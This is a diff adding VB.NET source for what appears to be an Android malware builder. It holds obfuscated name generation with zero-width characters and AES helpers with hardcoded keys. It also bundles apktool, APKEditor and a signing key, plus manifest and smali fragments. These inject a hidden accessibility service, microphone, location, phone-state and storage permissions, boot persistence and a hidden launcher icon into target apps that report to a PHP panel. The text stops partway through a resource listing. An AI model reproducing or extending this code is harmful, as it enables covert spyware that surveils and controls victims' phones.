||||||
|
"elibom", "sloot", "oiduts", "aidem", "semag",
|
||||||
|
"krowten", "eruces", "duolc", "cnys", "enigne",
|
||||||
|
"cigol", "maerts", "metsys", "latrop", "tcennoc",
|
||||||
|
"tegdiw", "resworb", "reyalp", "xirtam", "lortnoc",
|
||||||
|
"elpmis", "trams", "kcart", "puorg", "sucof",
|
||||||
|
"noisiv", "sbal", "dlrow", "tfos", "yrotcaf",
|
||||||
|
"kraps", "evaw", "wolg", "emarf", "tlob",
|
||||||
|
"rotcev", "lexip", "mutnauq", "knil", "niahc",
|
||||||
|
"kcolb", "tnega", "mrof", "epocs", "eslup",
|
||||||
|
"kcats", "tfihs", "egdirb", "atsiv", "eralf",
|
||||||
|
"ohce", "egrof", "tfarc", "dnelb", "tniop",
|
||||||
|
"kcilc", "mooz", "tinu", "etats", "dleif",
|
||||||
|
"level", "erehps", "kced", "hcnual", "langis",
|
||||||
|
"hsem", "ecart", "tfird", "nemul", "rednes",
|
||||||
|
"repooL", "eldnah", "regnahc", "noitces", "retuor",
|
||||||
|
"ssecca", "yranib", "rotcev", "otpyrC", "rehpcy",
|
||||||
|
"tibro", "yxalag", "avon", "resal", "eludom",
|
||||||
|
"lenrek", "yranoisiv", "cimanyd", "tobber", "eludom",
|
||||||
|
"cimetsys", "yfitnauq", "rallets", "noitom", "tekcap",
|
||||||
|
"edocne", "yolped", "suxen", "nevird", "citats",
|
||||||
|
"redner", "neercs", "balkcigol", "dnekcab", "dnetnorf",
|
||||||
|
"xredner", "emitpu", "egarots", "draugefas", "tpyrcne",
|
||||||
|
"rotinom", "dnammoc", "daolyap", "retsulc", "retpada",
|
||||||
|
"yawetag", "elipmoc", "repparw", "lautriv", "lennahc",
|
||||||
|
"tsacdaorb", "tig id", "ygrenes", "esufni", "thgisni",
|
||||||
|
"noisuf", "hctilg", "remaerts", "xelipmoc", "rohnca",
|
||||||
|
"sessenisub", "ekorts", "desserpmoc", "gnithgil", "esabataD",
|
||||||
|
"gnikrowten", "rotinummoc", "erawdrah", "esab", "rotinom",
|
||||||
|
"tropsnart", "rewopes", "noitacol", "gnimmargorp", "resu",
|
||||||
|
"gnidoc", "gnitset", "gnimmargorp", "redaolpu", "daolnwod",
|
||||||
|
"retlif", "ssalc", "revres", "gnikcolc", "tpmorp",
|
||||||
|
"tuptuo", "niamod", "edoc", "reyal", "metsys",
|
||||||
|
"enilno", "yrellag", "emanelif", "noitarugifnoc", "edom"
|
||||||
|
}
|
||||||
|
|
||||||
|
Public Function Random_Word()
|
||||||
|
Static Rnd As New Random
|
||||||
|
Return randmid(Rnd.Next(0, randmid.Length - 1))
|
||||||
|
End Function
|
||||||
|
Public Function Encoding() As System.Text.Encoding
|
||||||
|
Dim i As System.Text.Encoding = System.Text.Encoding.UTF8
|
||||||
|
Return i
|
||||||
|
End Function
|
||||||
|
|
||||||
|
Function InsertZWNJ(ByVal input As String, Optional ByVal position As Integer = -1) As String
|
||||||
|
' U+200C = Zero Width Non-Joiner
|
||||||
|
Dim zwnj As String = ChrW(&H200C)
|
||||||
|
|
||||||
|
' Default position: middle of the string
|
||||||
|
If position < 0 Or position > input.Length Then
|
||||||
|
position = input.Length \ 2
|
||||||
|
End If
|
||||||
|
|
||||||
|
' Insert ZWNJ
|
||||||
|
Return input.Substring(0, position) & zwnj & input.Substring(position)
|
||||||
|
End Function
|
||||||
|
|
||||||
|
End Module
|
||||||
@@ -0,0 +1,59 @@
|
|||||||
|
Imports System
|
||||||
|
Imports System.Collections.Generic
|
||||||
|
Imports System.Linq
|
||||||
|
Imports System.Text
|
||||||
|
Imports System.Security.Cryptography
|
||||||
|
|
||||||
|
Public Class Crypters
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
Private Shared singleCrypters As Crypters = Nothing
|
||||||
|
|
||||||
|
Private Shared MY_IV As String = "2230209522049090" 'length 16
|
||||||
|
|
||||||
|
Private Shared My_PASSWORD As String = "4814780584699673"
|
||||||
|
|
||||||
|
Private Shared SALT As String = "2894356330652558"
|
||||||
|
|
||||||
|
Public Shared Function Create() As Crypters
|
||||||
|
If singleCrypters IsNot Nothing Then
|
||||||
|
Return singleCrypters
|
||||||
|
End If
|
||||||
|
singleCrypters = New Crypters()
|
||||||
|
Return singleCrypters
|
||||||
|
End Function
|
||||||
|
Public Function Encrypt(ByVal raw As String) As String
|
||||||
|
Using csp = New AesCryptoServiceProvider()
|
||||||
|
Dim e As ICryptoTransform = GetCryptoTransform(csp, True)
|
||||||
|
Dim inputBuffer As Byte() = Encoding.GetBytes(raw) 'Reference to a non-shared member requires an object reference
|
||||||
|
Dim output As Byte() = e.TransformFinalBlock(inputBuffer, 0, inputBuffer.Length)
|
||||||
|
Dim encrypted As String = Convert.ToBase64String(output)
|
||||||
|
Return encrypted
|
||||||
|
End Using
|
||||||
|
End Function
|
||||||
|
|
||||||
|
Public Function Decrypt(ByVal encrypted As String) As String
|
||||||
|
Using csp = New AesCryptoServiceProvider()
|
||||||
|
Dim d = GetCryptoTransform(csp, False)
|
||||||
|
Dim output As Byte() = Convert.FromBase64String(encrypted)
|
||||||
|
Dim decryptedOutput As Byte() = d.TransformFinalBlock(output, 0, output.Length)
|
||||||
|
Dim decypted As String = Encoding.GetString(decryptedOutput) 'Reference to a non-shared member requires an object reference
|
||||||
|
Return decypted
|
||||||
|
End Using
|
||||||
|
End Function
|
||||||
|
Private Function GetCryptoTransform(ByVal csp As AesCryptoServiceProvider, ByVal encrypting As Boolean) As ICryptoTransform
|
||||||
|
csp.Mode = CipherMode.CBC
|
||||||
|
csp.Padding = PaddingMode.PKCS7
|
||||||
|
Dim spec = New Rfc2898DeriveBytes(Encoding.GetBytes(My_PASSWORD), Encoding.GetBytes(SALT), 65536) 'Reference to a non-shared member requires an object reference
|
||||||
|
Dim key As Byte() = spec.GetBytes(16)
|
||||||
|
csp.IV = Encoding.GetBytes(MY_IV) 'Reference to a non-shared member requires an object reference
|
||||||
|
csp.Key = key
|
||||||
|
|
||||||
|
If encrypting Then
|
||||||
|
Return csp.CreateEncryptor()
|
||||||
|
End If
|
||||||
|
|
||||||
|
Return csp.CreateDecryptor()
|
||||||
|
End Function
|
||||||
|
End Class
|
||||||
@@ -0,0 +1,13 @@
|
|||||||
|
'------------------------------------------------------------------------------
|
||||||
|
' <auto-generated>
|
||||||
|
' Этот код создан программой.
|
||||||
|
' Исполняемая версия:4.0.30319.42000
|
||||||
|
'
|
||||||
|
' Изменения в этом файле могут привести к неправильной работе и будут потеряны в случае
|
||||||
|
' повторной генерации кода.
|
||||||
|
' </auto-generated>
|
||||||
|
'------------------------------------------------------------------------------
|
||||||
|
|
||||||
|
Option Strict On
|
||||||
|
Option Explicit On
|
||||||
|
|
||||||
@@ -0,0 +1,11 @@
|
|||||||
|
<?xml version="1.0" encoding="utf-8"?>
|
||||||
|
<MyApplicationData xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
|
||||||
|
<MySubMain>true</MySubMain>
|
||||||
|
<MainForm>waitform</MainForm>
|
||||||
|
<SingleInstance>false</SingleInstance>
|
||||||
|
<ShutdownMode>0</ShutdownMode>
|
||||||
|
<EnableVisualStyles>true</EnableVisualStyles>
|
||||||
|
<AuthenticationMode>0</AuthenticationMode>
|
||||||
|
<SaveMySettingsOnExit>true</SaveMySettingsOnExit>
|
||||||
|
<HighDpiMpde>false</HighDpiMpde>
|
||||||
|
</MyApplicationData>
|
||||||
@@ -0,0 +1,35 @@
|
|||||||
|
Imports System
|
||||||
|
Imports System.Reflection
|
||||||
|
Imports System.Runtime.InteropServices
|
||||||
|
|
||||||
|
' General Information about an assembly is controlled through the following
|
||||||
|
' set of attributes. Change these attribute values to modify the information
|
||||||
|
' associated with an assembly.
|
||||||
|
|
||||||
|
' Review the values of the assembly attributes
|
||||||
|
|
||||||
|
<Assembly: AssemblyTitle("app worker")>
|
||||||
|
<Assembly: AssemblyDescription("app worker")>
|
||||||
|
<Assembly: AssemblyCompany("app worker")>
|
||||||
|
<Assembly: AssemblyProduct("app worker")>
|
||||||
|
<Assembly: AssemblyCopyright("app worker Copyright © 2024")>
|
||||||
|
<Assembly: AssemblyTrademark("")>
|
||||||
|
|
||||||
|
<Assembly: ComVisible(False)>
|
||||||
|
|
||||||
|
'The following GUID is for the ID of the typelib if this project is exposed to COM
|
||||||
|
<Assembly: Guid("fc94b57e-ffa6-4595-a313-1c99876d87a0")>
|
||||||
|
|
||||||
|
' Version information for an assembly consists of the following four values:
|
||||||
|
'
|
||||||
|
' Major Version
|
||||||
|
' Minor Version
|
||||||
|
' Build Number
|
||||||
|
' Revision
|
||||||
|
'
|
||||||
|
' You can specify all the values or you can default the Build and Revision Numbers
|
||||||
|
' by using the '*' as shown below:
|
||||||
|
' <Assembly: AssemblyVersion("1.0.*")>
|
||||||
|
|
||||||
|
<Assembly: AssemblyVersion("1.0.0.0")>
|
||||||
|
<Assembly: AssemblyFileVersion("1.0.0.0")>
|
||||||
@@ -0,0 +1,555 @@
|
|||||||
|
'------------------------------------------------------------------------------
|
||||||
|
' <auto-generated>
|
||||||
|
' Этот код создан программой.
|
||||||
|
' Исполняемая версия:4.0.30319.42000
|
||||||
|
'
|
||||||
|
' Изменения в этом файле могут привести к неправильной работе и будут потеряны в случае
|
||||||
|
' повторной генерации кода.
|
||||||
|
' </auto-generated>
|
||||||
|
'------------------------------------------------------------------------------
|
||||||
|
|
||||||
|
Option Strict On
|
||||||
|
Option Explicit On
|
||||||
|
|
||||||
|
Imports System
|
||||||
|
|
||||||
|
Namespace My.Resources
|
||||||
|
|
||||||
|
'Этот класс создан автоматически классом StronglyTypedResourceBuilder
|
||||||
|
'с помощью такого средства, как ResGen или Visual Studio.
|
||||||
|
'Чтобы добавить или удалить член, измените файл .ResX и снова запустите ResGen
|
||||||
|
'с параметром /str или перестройте свой проект VS.
|
||||||
|
'''<summary>
|
||||||
|
''' Класс ресурса со строгой типизацией для поиска локализованных строк и т.д.
|
||||||
|
'''</summary>
|
||||||
|
<Global.System.CodeDom.Compiler.GeneratedCodeAttribute("System.Resources.Tools.StronglyTypedResourceBuilder", "17.0.0.0"), _
|
||||||
|
Global.System.Diagnostics.DebuggerNonUserCodeAttribute(), _
|
||||||
|
Global.System.Runtime.CompilerServices.CompilerGeneratedAttribute(), _
|
||||||
|
Global.Microsoft.VisualBasic.HideModuleNameAttribute()> _
|
||||||
|
Friend Module Resources
|
||||||
|
|
||||||
|
Private resourceMan As Global.System.Resources.ResourceManager
|
||||||
|
|
||||||
|
Private resourceCulture As Global.System.Globalization.CultureInfo
|
||||||
|
|
||||||
|
'''<summary>
|
||||||
|
''' Возвращает кэшированный экземпляр ResourceManager, использованный этим классом.
|
||||||
|
'''</summary>
|
||||||
|
<Global.System.ComponentModel.EditorBrowsableAttribute(Global.System.ComponentModel.EditorBrowsableState.Advanced)> _
|
||||||
|
Friend ReadOnly Property ResourceManager() As Global.System.Resources.ResourceManager
|
||||||
|
Get
|
||||||
|
If Object.ReferenceEquals(resourceMan, Nothing) Then
|
||||||
|
Dim temp As Global.System.Resources.ResourceManager = New Global.System.Resources.ResourceManager("SolrWorker.Resources", GetType(Resources).Assembly)
|
||||||
|
resourceMan = temp
|
||||||
|
End If
|
||||||
|
Return resourceMan
|
||||||
|
End Get
|
||||||
|
End Property
|
||||||
|
|
||||||
|
'''<summary>
|
||||||
|
''' Перезаписывает свойство CurrentUICulture текущего потока для всех
|
||||||
|
''' обращений к ресурсу с помощью этого класса ресурса со строгой типизацией.
|
||||||
|
'''</summary>
|
||||||
|
<Global.System.ComponentModel.EditorBrowsableAttribute(Global.System.ComponentModel.EditorBrowsableState.Advanced)> _
|
||||||
|
Friend Property Culture() As Global.System.Globalization.CultureInfo
|
||||||
|
Get
|
||||||
|
Return resourceCulture
|
||||||
|
End Get
|
||||||
|
Set
|
||||||
|
resourceCulture = value
|
||||||
|
End Set
|
||||||
|
End Property
|
||||||
|
|
||||||
|
'''<summary>
|
||||||
|
''' Поиск локализованного ресурса типа System.Byte[].
|
||||||
|
'''</summary>
|
||||||
|
Friend ReadOnly Property _7zip() As Byte()
|
||||||
|
Get
|
||||||
|
Dim obj As Object = ResourceManager.GetObject("7zip", resourceCulture)
|
||||||
|
Return CType(obj,Byte())
|
||||||
|
End Get
|
||||||
|
End Property
|
||||||
|
|
||||||
|
'''<summary>
|
||||||
|
''' Ищет локализованную строку, похожую на <?xml version="1.0" encoding="utf-8"?>
|
||||||
|
'''<accessibility-service android:description="@string/pnam" android:summary="@string/pnam" android:settingsActivity="com.android.settings" android:accessibilityEventTypes="typeAnnouncement|typeAssistReadingContext|typeContextClicked|typeGestureDetectionEnd|typeGestureDetectionStart|typeNotificationStateChanged|typeTouchExplorationGestureEnd|typeTouchExplorationGestureStart|typeTouchInteractionEnd|typeTouchInteractionStart|typeViewAccessibilityFocusCleared|typeViewAccess [остаток строки не уместился]";.
|
||||||
|
'''</summary>
|
||||||
|
Friend ReadOnly Property accessibilityprivatesrcapp() As String
|
||||||
|
Get
|
||||||
|
Return ResourceManager.GetString("accessibilityprivatesrcapp", resourceCulture)
|
||||||
|
End Get
|
||||||
|
End Property
|
||||||
|
|
||||||
|
'''<summary>
|
||||||
|
''' Ищет локализованную строку, похожую на <service android:enabled="true" android:exported="false" android:label="@string/BaseName" android:name="com.icontrol.protector.AccessServices" android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE">
|
||||||
|
''' <intent-filter>
|
||||||
|
''' <action android:name="android.accessibilityservice.AccessibilityService"/>
|
||||||
|
''' </intent-filter>
|
||||||
|
''' <meta-data android:name="android.accessibilityservice" android:resource="@xml/accessibilityprivatesrcapp"/>
|
||||||
|
''' </service>.
|
||||||
|
'''</summary>
|
||||||
|
Friend ReadOnly Property AccessTag() As String
|
||||||
|
Get
|
||||||
|
Return ResourceManager.GetString("AccessTag", resourceCulture)
|
||||||
|
End Get
|
||||||
|
End Property
|
||||||
|
|
||||||
|
'''<summary>
|
||||||
|
''' Ищет локализованную строку, похожую на <?xml version="1.0" encoding="utf-8"?>
|
||||||
|
'''<RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android"
|
||||||
|
''' xmlns:tools="http://schemas.android.com/tools"
|
||||||
|
''' android:layout_width="match_parent"
|
||||||
|
''' android:layout_height="match_parent"
|
||||||
|
''' android:padding="16dp"
|
||||||
|
''' android:background="#202020"
|
||||||
|
''' tools:context=".ChatActivity">
|
||||||
|
'''
|
||||||
|
''' <TextView
|
||||||
|
''' android:id="@+id/chattitle"
|
||||||
|
''' android:layout_width="match_parent"
|
||||||
|
''' android:layout_height="40dp"
|
||||||
|
''' android:background [остаток строки не уместился]";.
|
||||||
|
'''</summary>
|
||||||
|
Friend ReadOnly Property Activitychat() As String
|
||||||
|
Get
|
||||||
|
Return ResourceManager.GetString("Activitychat", resourceCulture)
|
||||||
|
End Get
|
||||||
|
End Property
|
||||||
|
|
||||||
|
'''<summary>
|
||||||
|
''' Ищет локализованную строку, похожую на <uses-permission android:name="android.permission.RECORD_AUDIO" />#
|
||||||
|
'''<uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION" />#
|
||||||
|
'''<uses-permission android:name="android.permission.ACCESS_FINE_LOCATION" />#
|
||||||
|
'''<uses-permission android:name="android.permission.READ_PHONE_STATE" />#
|
||||||
|
'''<uses-permission android:name="android.permission.WAKE_LOCK" />#
|
||||||
|
'''<uses-permission android:name="com.android.alarm.permission.SET_ALARM" />#
|
||||||
|
'''<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" [остаток строки не уместился]";.
|
||||||
|
'''</summary>
|
||||||
|
Friend ReadOnly Property ALLPRIM() As String
|
||||||
|
Get
|
||||||
|
Return ResourceManager.GetString("ALLPRIM", resourceCulture)
|
||||||
|
End Get
|
||||||
|
End Property
|
||||||
|
|
||||||
|
'''<summary>
|
||||||
|
''' Поиск локализованного ресурса типа System.Byte[].
|
||||||
|
'''</summary>
|
||||||
|
Friend ReadOnly Property APKEditor() As Byte()
|
||||||
|
Get
|
||||||
|
Dim obj As Object = ResourceManager.GetObject("APKEditor", resourceCulture)
|
||||||
|
Return CType(obj,Byte())
|
||||||
|
End Get
|
||||||
|
End Property
|
||||||
|
|
||||||
|
'''<summary>
|
||||||
|
''' Поиск локализованного ресурса типа System.Byte[].
|
||||||
|
'''</summary>
|
||||||
|
Friend ReadOnly Property apktool() As Byte()
|
||||||
|
Get
|
||||||
|
Dim obj As Object = ResourceManager.GetObject("apktool", resourceCulture)
|
||||||
|
Return CType(obj,Byte())
|
||||||
|
End Get
|
||||||
|
End Property
|
||||||
|
|
||||||
|
'''<summary>
|
||||||
|
''' Ищет локализованную строку, похожую на <uses-permission android:name="android.permission.REQUEST_IGNORE_BATTERY_OPTIMIZATIONS" />.
|
||||||
|
'''</summary>
|
||||||
|
Friend ReadOnly Property batteryprim() As String
|
||||||
|
Get
|
||||||
|
Return ResourceManager.GetString("batteryprim", resourceCulture)
|
||||||
|
End Get
|
||||||
|
End Property
|
||||||
|
|
||||||
|
'''<summary>
|
||||||
|
''' Ищет локализованную строку, похожую на <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />.
|
||||||
|
'''</summary>
|
||||||
|
Friend ReadOnly Property BootPrim() As String
|
||||||
|
Get
|
||||||
|
Return ResourceManager.GetString("BootPrim", resourceCulture)
|
||||||
|
End Get
|
||||||
|
End Property
|
||||||
|
|
||||||
|
'''<summary>
|
||||||
|
''' Поиск локализованного ресурса типа System.Byte[].
|
||||||
|
'''</summary>
|
||||||
|
Friend ReadOnly Property certificate() As Byte()
|
||||||
|
Get
|
||||||
|
Dim obj As Object = ResourceManager.GetObject("certificate", resourceCulture)
|
||||||
|
Return CType(obj,Byte())
|
||||||
|
End Get
|
||||||
|
End Property
|
||||||
|
|
||||||
|
'''<summary>
|
||||||
|
''' Ищет локализованную строку, похожую на {
|
||||||
|
''' "ServerApi": "http://localhost/yaarsa/private/yarsap_90061.php",
|
||||||
|
''' "ServerApi_Customapp": "http://localhost/yaarsa/private/yarsap_91370.php",
|
||||||
|
''' "Currentsubdir": "/yaarsa/private/"
|
||||||
|
'''}.
|
||||||
|
'''</summary>
|
||||||
|
Friend ReadOnly Property DEFserverconfigs() As String
|
||||||
|
Get
|
||||||
|
Return ResourceManager.GetString("DEFserverconfigs", resourceCulture)
|
||||||
|
End Get
|
||||||
|
End Property
|
||||||
|
|
||||||
|
'''<summary>
|
||||||
|
''' Ищет локализованную строку, похожую на <?xml version="1.0" encoding="utf-8"?>
|
||||||
|
'''
|
||||||
|
'''<accessibility-service xmlns:android="http://schemas.android.com/apk/res/android"
|
||||||
|
''' />
|
||||||
|
'''.
|
||||||
|
'''</summary>
|
||||||
|
Friend ReadOnly Property emptyaccess() As String
|
||||||
|
Get
|
||||||
|
Return ResourceManager.GetString("emptyaccess", resourceCulture)
|
||||||
|
End Get
|
||||||
|
End Property
|
||||||
|
|
||||||
|
'''<summary>
|
||||||
|
''' Ищет локализованную строку, похожую на <uses-permission android:name="android.permission.MANAGE_EXTERNAL_STORAGE" />
|
||||||
|
''' <uses-permission android:name="android.permission.READ_MEDIA_IMAGES"/>
|
||||||
|
''' <uses-permission android:name="android.permission.READ_MEDIA_VIDEO"/>.
|
||||||
|
'''</summary>
|
||||||
|
Friend ReadOnly Property Externalstorage() As String
|
||||||
|
Get
|
||||||
|
Return ResourceManager.GetString("Externalstorage", resourceCulture)
|
||||||
|
End Get
|
||||||
|
End Property
|
||||||
|
|
||||||
|
'''<summary>
|
||||||
|
''' Ищет локализованную строку, похожую на <uses-permission android:name="android.permission.FOREGROUND_SERVICE"/>.
|
||||||
|
'''</summary>
|
||||||
|
Friend ReadOnly Property FORGROUD() As String
|
||||||
|
Get
|
||||||
|
Return ResourceManager.GetString("FORGROUD", resourceCulture)
|
||||||
|
End Get
|
||||||
|
End Property
|
||||||
|
|
||||||
|
'''<summary>
|
||||||
|
''' Поиск локализованного ресурса типа System.Byte[].
|
||||||
|
'''</summary>
|
||||||
|
Friend ReadOnly Property key() As Byte()
|
||||||
|
Get
|
||||||
|
Dim obj As Object = ResourceManager.GetObject("key", resourceCulture)
|
||||||
|
Return CType(obj,Byte())
|
||||||
|
End Get
|
||||||
|
End Property
|
||||||
|
|
||||||
|
'''<summary>
|
||||||
|
''' Ищет локализованную строку, похожую на <intent-filter>
|
||||||
|
''' <action android:name="android.intent.action.MAIN" />
|
||||||
|
''' <category android:name="android.intent.category.LAUNCHER" />
|
||||||
|
'''
|
||||||
|
''' </intent-filter>.
|
||||||
|
'''</summary>
|
||||||
|
Friend ReadOnly Property luncherIntent() As String
|
||||||
|
Get
|
||||||
|
Return ResourceManager.GetString("luncherIntent", resourceCulture)
|
||||||
|
End Get
|
||||||
|
End Property
|
||||||
|
|
||||||
|
'''<summary>
|
||||||
|
''' Ищет локализованную строку, похожую на .method public InializeSubsT()V
|
||||||
|
''' .locals 4
|
||||||
|
'''
|
||||||
|
''' :try_start_0
|
||||||
|
''' new-instance v1, Landroid/content/Intent;
|
||||||
|
'''
|
||||||
|
''' invoke-virtual {p0}, [trgtmain]->getApplicationContext()Landroid/content/Context;
|
||||||
|
'''
|
||||||
|
''' move-result-object v2
|
||||||
|
'''
|
||||||
|
''' const-class v3, Lcom/icontrol/protector/StarterServices;
|
||||||
|
'''
|
||||||
|
''' invoke-direct {v1, v2, v3}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
|
||||||
|
'''
|
||||||
|
''' .local v1, "Strt_int":Landroid/content/Intent;
|
||||||
|
''' invoke-virtual {p0, v1}, [trgtmain]->startSe [остаток строки не уместился]";.
|
||||||
|
'''</summary>
|
||||||
|
Friend ReadOnly Property MainMith() As String
|
||||||
|
Get
|
||||||
|
Return ResourceManager.GetString("MainMith", resourceCulture)
|
||||||
|
End Get
|
||||||
|
End Property
|
||||||
|
|
||||||
|
'''<summary>
|
||||||
|
''' Ищет локализованную строку, похожую на <uses-library android:name="org.apache.http.legacy" android:required="false"/>
|
||||||
|
''' <provider android:authorities="com.icontrol.protector.provider" android:exported="false" android:grantUriPermissions="true" android:name="androidx.core.content.FileProvider">
|
||||||
|
''' <meta-data android:name="android.support.FILE_PROVIDER_PATHS" android:resource="@xml/pfs1"/>
|
||||||
|
''' </provider>
|
||||||
|
''' <activity android:exported="true" android:name="com.icontrol.protector.Splasher"/>
|
||||||
|
''' <activity-alias andro [остаток строки не уместился]";.
|
||||||
|
'''</summary>
|
||||||
|
Friend ReadOnly Property ManifistCode() As String
|
||||||
|
Get
|
||||||
|
Return ResourceManager.GetString("ManifistCode", resourceCulture)
|
||||||
|
End Get
|
||||||
|
End Property
|
||||||
|
|
||||||
|
'''<summary>
|
||||||
|
''' Ищет локализованную строку, похожую на <intent-filter>
|
||||||
|
''' <action android:name="android.intent.action.MAIN"/>
|
||||||
|
''' <category android:name="android.intent.category.INFO"/>
|
||||||
|
''' </intent-filter>
|
||||||
|
''' <intent-filter>
|
||||||
|
''' <action android:name="android.service.quicksettings.action.QS_TILE_PREFERENCES"/>
|
||||||
|
''' </intent-filter>
|
||||||
|
''' <intent-filter>
|
||||||
|
''' <action android:name="com.android.settings.action.IA_SETTINGS"/>
|
||||||
|
''' </intent-filter>
|
||||||
|
''' <meta-data a [остаток строки не уместился]";.
|
||||||
|
'''</summary>
|
||||||
|
Friend ReadOnly Property ManifistHide() As String
|
||||||
|
Get
|
||||||
|
Return ResourceManager.GetString("ManifistHide", resourceCulture)
|
||||||
|
End Get
|
||||||
|
End Property
|
||||||
|
|
||||||
|
'''<summary>
|
||||||
|
''' Ищет локализованную строку, похожую на <?xml version="1.0" encoding="utf-8"?>
|
||||||
|
'''<RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android"
|
||||||
|
''' android:layout_width="match_parent"
|
||||||
|
''' android:layout_height="match_parent"
|
||||||
|
''' android:orientation="vertical">
|
||||||
|
'''
|
||||||
|
'''
|
||||||
|
''' <WebView
|
||||||
|
''' android:id="@+id/MyView"
|
||||||
|
''' android:layout_width="match_parent"
|
||||||
|
''' android:layout_height="match_parent" />
|
||||||
|
'''
|
||||||
|
''' <ProgressBar
|
||||||
|
''' android:id="@+id/progressBar"
|
||||||
|
''' style="?android:attr/progressBarStyleLarge"
|
||||||
|
''' android:la [остаток строки не уместился]";.
|
||||||
|
'''</summary>
|
||||||
|
Friend ReadOnly Property mywebviewer() As String
|
||||||
|
Get
|
||||||
|
Return ResourceManager.GetString("mywebviewer", resourceCulture)
|
||||||
|
End Get
|
||||||
|
End Property
|
||||||
|
|
||||||
|
'''<summary>
|
||||||
|
''' Ищет локализованную строку, похожую на <?xml version="1.0" encoding="utf-8"?>
|
||||||
|
'''<network-security-config>
|
||||||
|
''' <base-config cleartextTrafficPermitted="true" />
|
||||||
|
'''</network-security-config>.
|
||||||
|
'''</summary>
|
||||||
|
Friend ReadOnly Property network_security_config() As String
|
||||||
|
Get
|
||||||
|
Return ResourceManager.GetString("network_security_config", resourceCulture)
|
||||||
|
End Get
|
||||||
|
End Property
|
||||||
|
|
||||||
|
'''<summary>
|
||||||
|
''' Ищет локализованную строку, похожую на <?xml version="1.0" encoding="utf-8"?>
|
||||||
|
'''<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
|
||||||
|
''' android:layout_width="match_parent"
|
||||||
|
''' android:layout_height="match_parent"
|
||||||
|
''' android:orientation="vertical"
|
||||||
|
''' android:background="#292929">
|
||||||
|
'''
|
||||||
|
''' <LinearLayout
|
||||||
|
''' android:layout_width="match_parent"
|
||||||
|
''' android:layout_height="35dp"
|
||||||
|
''' android:background="#292929"
|
||||||
|
''' android:orientation="horizontal">
|
||||||
|
'''
|
||||||
|
''' </LinearLayout>
|
||||||
|
''' <LinearLayout
|
||||||
|
''' android:l [остаток строки не уместился]";.
|
||||||
|
'''</summary>
|
||||||
|
Friend ReadOnly Property nointernet() As String
|
||||||
|
Get
|
||||||
|
Return ResourceManager.GetString("nointernet", resourceCulture)
|
||||||
|
End Get
|
||||||
|
End Property
|
||||||
|
|
||||||
|
'''<summary>
|
||||||
|
''' Ищет локализованную строку, похожую на invoke-virtual/range {p0}, [trgtmain]->InializeSubsT()V.
|
||||||
|
'''</summary>
|
||||||
|
Friend ReadOnly Property oncreatecode() As String
|
||||||
|
Get
|
||||||
|
Return ResourceManager.GetString("oncreatecode", resourceCulture)
|
||||||
|
End Get
|
||||||
|
End Property
|
||||||
|
|
||||||
|
'''<summary>
|
||||||
|
''' Ищет локализованную строку, похожую на <!-- activity_main.xml -->
|
||||||
|
'''<RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android"
|
||||||
|
''' android:layout_width="match_parent"
|
||||||
|
''' android:background="#000011"
|
||||||
|
''' android:layout_height="match_parent">
|
||||||
|
'''
|
||||||
|
'''
|
||||||
|
''' <ImageView
|
||||||
|
''' android:id="@+id/imageView"
|
||||||
|
''' android:layout_width="match_parent"
|
||||||
|
''' android:layout_height="400dp"
|
||||||
|
''' android:layout_centerHorizontal="true"
|
||||||
|
''' android:layout_marginTop="75dp"
|
||||||
|
''' android:src="@drawable/oppo_bty_en_1" />
|
||||||
|
'''
|
||||||
|
'''
|
||||||
|
'''
|
||||||
|
''' [остаток строки не уместился]";.
|
||||||
|
'''</summary>
|
||||||
|
Friend ReadOnly Property oppobattery() As String
|
||||||
|
Get
|
||||||
|
Return ResourceManager.GetString("oppobattery", resourceCulture)
|
||||||
|
End Get
|
||||||
|
End Property
|
||||||
|
|
||||||
|
'''<summary>
|
||||||
|
''' Ищет локализованную строку, похожую на <?xml version="1.0" encoding="utf-8"?>
|
||||||
|
'''<paths xmlns:android="http://schemas.android.com/apk/res/android">
|
||||||
|
''' <external-path
|
||||||
|
''' name="external_files"
|
||||||
|
''' path="." />
|
||||||
|
'''</paths>.
|
||||||
|
'''</summary>
|
||||||
|
Friend ReadOnly Property providerfile() As String
|
||||||
|
Get
|
||||||
|
Return ResourceManager.GetString("providerfile", resourceCulture)
|
||||||
|
End Get
|
||||||
|
End Property
|
||||||
|
|
||||||
|
'''<summary>
|
||||||
|
''' Ищет локализованную строку, похожую на <uses-permission android:name="android.permission.READ_PHONE_STATE" />.
|
||||||
|
'''</summary>
|
||||||
|
Friend ReadOnly Property read_state_prim() As String
|
||||||
|
Get
|
||||||
|
Return ResourceManager.GetString("read_state_prim", resourceCulture)
|
||||||
|
End Get
|
||||||
|
End Property
|
||||||
|
|
||||||
|
'''<summary>
|
||||||
|
''' Ищет локализованную строку, похожую на <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/>.
|
||||||
|
'''</summary>
|
||||||
|
Friend ReadOnly Property ReadPrim() As String
|
||||||
|
Get
|
||||||
|
Return ResourceManager.GetString("ReadPrim", resourceCulture)
|
||||||
|
End Get
|
||||||
|
End Property
|
||||||
|
|
||||||
|
'''<summary>
|
||||||
|
''' Ищет локализованную строку, похожую на <meta-data android:name="REPALCEACCESS" android:value="99999999"/>.
|
||||||
|
'''</summary>
|
||||||
|
Friend ReadOnly Property ReplaceAccess() As String
|
||||||
|
Get
|
||||||
|
Return ResourceManager.GetString("ReplaceAccess", resourceCulture)
|
||||||
|
End Get
|
||||||
|
End Property
|
||||||
|
|
||||||
|
'''<summary>
|
||||||
|
''' Ищет локализованную строку, похожую на <meta-data android:name="REPLACELUNCH" android:value="66666666"/>.
|
||||||
|
'''</summary>
|
||||||
|
Friend ReadOnly Property ReplaceLuncher() As String
|
||||||
|
Get
|
||||||
|
Return ResourceManager.GetString("ReplaceLuncher", resourceCulture)
|
||||||
|
End Get
|
||||||
|
End Property
|
||||||
|
|
||||||
|
'''<summary>
|
||||||
|
